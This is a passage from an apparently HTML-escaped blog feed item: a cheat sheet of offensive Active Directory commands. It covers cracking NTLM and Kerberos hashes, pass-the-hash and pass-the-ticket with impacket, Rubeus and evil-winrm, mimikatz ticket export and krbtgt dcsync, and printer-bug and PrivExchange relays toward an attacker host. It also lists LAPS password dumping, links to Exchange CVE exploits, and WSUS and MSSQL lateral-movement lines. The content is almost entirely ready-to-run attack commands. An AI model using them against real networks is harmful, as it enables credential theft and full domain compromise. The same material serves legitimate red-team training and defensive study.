tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=netntlm hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5500 -a 3 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="4"&gt;&#10;&lt;li&gt;NTLMv2&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=netntlmv2 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5600 -a 0 hash.txt rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="5"&gt;&#10;&lt;li&gt;Kerberos 5 TGS&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john spn.txt --format=krb5tgs --wordlist=rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 -a 0 spn.txt rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="6"&gt;&#10;&lt;li&gt;Kerberos ASREP&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="lateral-movement"&gt;&lt;a href="#lateral-movement" class="header-anchor"&gt;&lt;/a&gt;Lateral Movement&#10;&lt;/h2&gt;&lt;ol&gt;&#10;&lt;li&gt;PTH&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.py -hashes &amp;#34;:&amp;lt;hash&amp;gt;&amp;#34; &amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmiexec.py -hashes &amp;#34;:&amp;lt;hash&amp;gt;&amp;#34; &amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;atexec.py -hashes &amp;#34;:&amp;lt;hash&amp;gt;&amp;#34; &amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt; &amp;#34;command&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i &amp;lt;ip&amp;gt;/&amp;lt;domain&amp;gt; -u &amp;lt;user&amp;gt; -H &amp;lt;hash&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp /u:&amp;lt;user&amp;gt; /d:&amp;lt;domain&amp;gt; /pth:&amp;lt;hash&amp;gt; /v:&amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;PTK&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getTGT.py &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt; -hashes :&amp;lt;hashes&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python psexec.py &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt; -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus asktgt /user:victim /rc4:&amp;lt;rc4value&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus ptt /ticket:&amp;lt;ticket&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus ptt /luid:0xdeadbeef /ticket:&amp;lt;ticket&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;Unconstrained Delegation&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Retrieve tickets&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /service:krbtgt /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /luid:0xdeadbeef /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Find hosts configured for unconstrained delegation&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer -Unconstrained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -Unconstrained -Properties DnsHostName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (c:Computer {unconstraineddelegation:true}) RETURN c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]-&amp;gt;(c)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="4"&gt;&#10;&lt;li&gt;Constrained Delegation&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Retrieve tickets&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug sekurlsa::tickets /export sekurlsa::tickets /&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /service:krbtgt /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus dump /luid:0xdeadbeef /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Find hosts configured for constrained delegation&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]-&amp;gt;(t)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (u:User {owned:true}), (c:Computer {name: &amp;#34;&amp;lt;MYTARGET.FQDN&amp;gt;&amp;#34;}), p=shortestPath((u)-[*1..]-&amp;gt;(c)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="5"&gt;&#10;&lt;li&gt;Resource-Based Constrained Delegation&lt;/li&gt;&#10;&lt;li&gt;dcsync&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /domain:htb.local /user:krbtgt # Any account in Administrators, Domain Admins, or Enterprise Admins works&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="7"&gt;&#10;&lt;li&gt;Exploiting the Print Spooler Service Vulnerability&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcdump.py &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt;:&amp;lt;password&amp;gt;@&amp;lt;domain_server&amp;gt; | grep MS-RPRN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;printerbug.py &amp;#39;&amp;lt;domain&amp;gt;/&amp;lt;username&amp;gt;:&amp;lt;password&amp;gt;&amp;#39;@&amp;lt;Printer IP&amp;gt; &amp;lt;RESPONDERIP&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="8"&gt;&#10;&lt;li&gt;AD ACL Attacks (aclpwn.py)&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll on User&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll / GenericWrite / Write on Computer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteProperty on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Self (Self-Membership) on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteProperty (Self-Membership)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ForceChangePassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner on Group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite on User&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDACL + WriteOwner&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="9"&gt;&#10;&lt;li&gt;Retrieve the LAPS Administrator Password&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LAPSPasswords -DomainController &amp;lt;ip_dc&amp;gt; -Credential &amp;lt;domain&amp;gt;\&amp;lt;login&amp;gt; | Format-Table -AutoSize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="10"&gt;&#10;&lt;li&gt;PrivExchange Vulnerability&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python privexchange.py -ah &amp;lt;attacker_host_or_ip&amp;gt; &amp;lt;exchange_host&amp;gt; -u &amp;lt;user&amp;gt; -d &amp;lt;domain&amp;gt; -p &amp;lt;password&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldap://&amp;lt;dc_fqdn&amp;gt;--escalate-user &amp;lt;user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Exchange Exploitation&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Ridter/Exchange2domain" target="_blank" rel="noopener"&#10; &gt;Exchange2domain&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/WyAtu/CVE-2018-8581/" target="_blank" rel="noopener"&#10; &gt;CVE-2018-8581&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Ridter/CVE-2019-1040" target="_blank" rel="noopener"&#10; &gt;CVE-2019-1040&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Ridter/CVE-2020-0688" target="_blank" rel="noopener"&#10; &gt;CVE-2020-0688&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/Arno0x/NtlmRelayToEWS" target="_blank" rel="noopener"&#10; &gt;NtlmRelayToEWS&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/3gstudent/ewsManage" target="_blank" rel="noopener"&#10; &gt;ewsManage&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/h4x0r-dz/CVE-2021-26855" target="_blank" rel="noopener"&#10; &gt;CVE-2021-26855&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda" target="_blank" rel="noopener"&#10; &gt;CVE-2021-28482&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol start="11"&gt;&#10;&lt;li&gt;IPC&lt;/li&gt;&#10;&lt;li&gt;Other Lateral Movement Techniques&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Inject a malicious program update into the WSUS server database&#9;&#9;WSUSpendu.ps1 # The WSUS update distribution server must be compromised first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2.MSSQL Trusted Links&#9;&#9;&#9;use exploit/windows/mssql/mssql_linkcrawler&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3.GPO Delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4.ADCS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;</description></item></channel></rss>